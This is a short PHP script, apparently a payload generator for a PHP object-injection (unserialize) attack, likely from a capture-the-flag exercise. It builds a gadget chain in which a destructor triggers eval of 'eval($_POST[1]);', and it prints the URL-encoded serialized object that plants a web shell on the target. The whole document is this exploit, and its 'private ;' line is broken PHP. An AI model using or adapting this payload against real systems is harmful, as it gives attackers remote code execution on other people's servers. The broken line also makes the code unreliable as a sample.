class One {
private ;
function __construct() {
$this->test = new Good();
}
function __destruct() {
$this->test->action();
}
}
class Good {
var $test2 = 'eval($_POST[1]);';
function action() {
eval($this->test2);
}
}
echo urlencode(serialize(new One()));